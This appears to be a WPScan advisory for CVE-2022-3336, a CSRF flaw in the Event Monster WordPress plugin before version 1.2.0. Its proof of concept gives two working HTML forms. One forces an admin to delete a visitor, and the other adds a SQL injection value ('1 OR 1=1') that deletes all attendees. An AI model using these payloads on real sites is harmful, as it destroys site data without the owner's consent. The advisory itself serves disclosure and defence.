WordPress Plugin Vulnerabilities

Event Monster < 1.2.0 - Visitors Deletion via CSRF

Description

The plugin does not have CSRF check when deleting visitors, which could allow attackers to make logged in admin delete arbitrary visitors via a CSRF attack

Proof of Concept

```
To delete the attendee/visitor with ID 1, make a logged in admin open a page with the
HTML code below

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?
post_type=awl_event_monster&page=em-visitors-page" method="POST">
      <input type="hidden" name="action" value="deleteallvisitor" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The statement deleting attendee is also affected by SQLi, so the below code would
delete all attendee at once via a SQL Injection attack

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?
post_type=awl_event_monster&page=em-visitors-page" method="POST">
      <input type="hidden" name="action" value="deleteallvisitor" />
      <input type="hidden" name="id" value="1 OR 1=1" />
      <input type="submit" value="Submit request" />
```

Affects Plugins

event-monster

Fixed in version 1.2.0 ✓

References

CVE

CVE-2022-3336

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CWE-352

Miscellaneous

Original Researcher

Thura Moe Myint

Submitter

mgthuramoemyint

Submitter twitter
WPScan
@gthuramboyint

Verified

Yes

WPVDB ID
57bc6633-1aeb-4c20-a2a5-9b3fa10ba95d

Timeline

Publicly Published
2022-10-31 (about 25 days ago)

Added
2022-10-31 (about 25 days ago)

Last Updated
2022-10-31 (about 25 days ago)

Our Other Services

WPScan WordPress Security Plugin

WPScan

WordPress

Plugins

Themes

Our Stats

Submit vulnerabilities

About

How it works

Pricing

WordPress plugin

News

Contact

For Developers

Status

API details

CLI scanner

Other

Privacy

Terms of service

Submission terms

Disclosure policy

An endeavor

Work With Us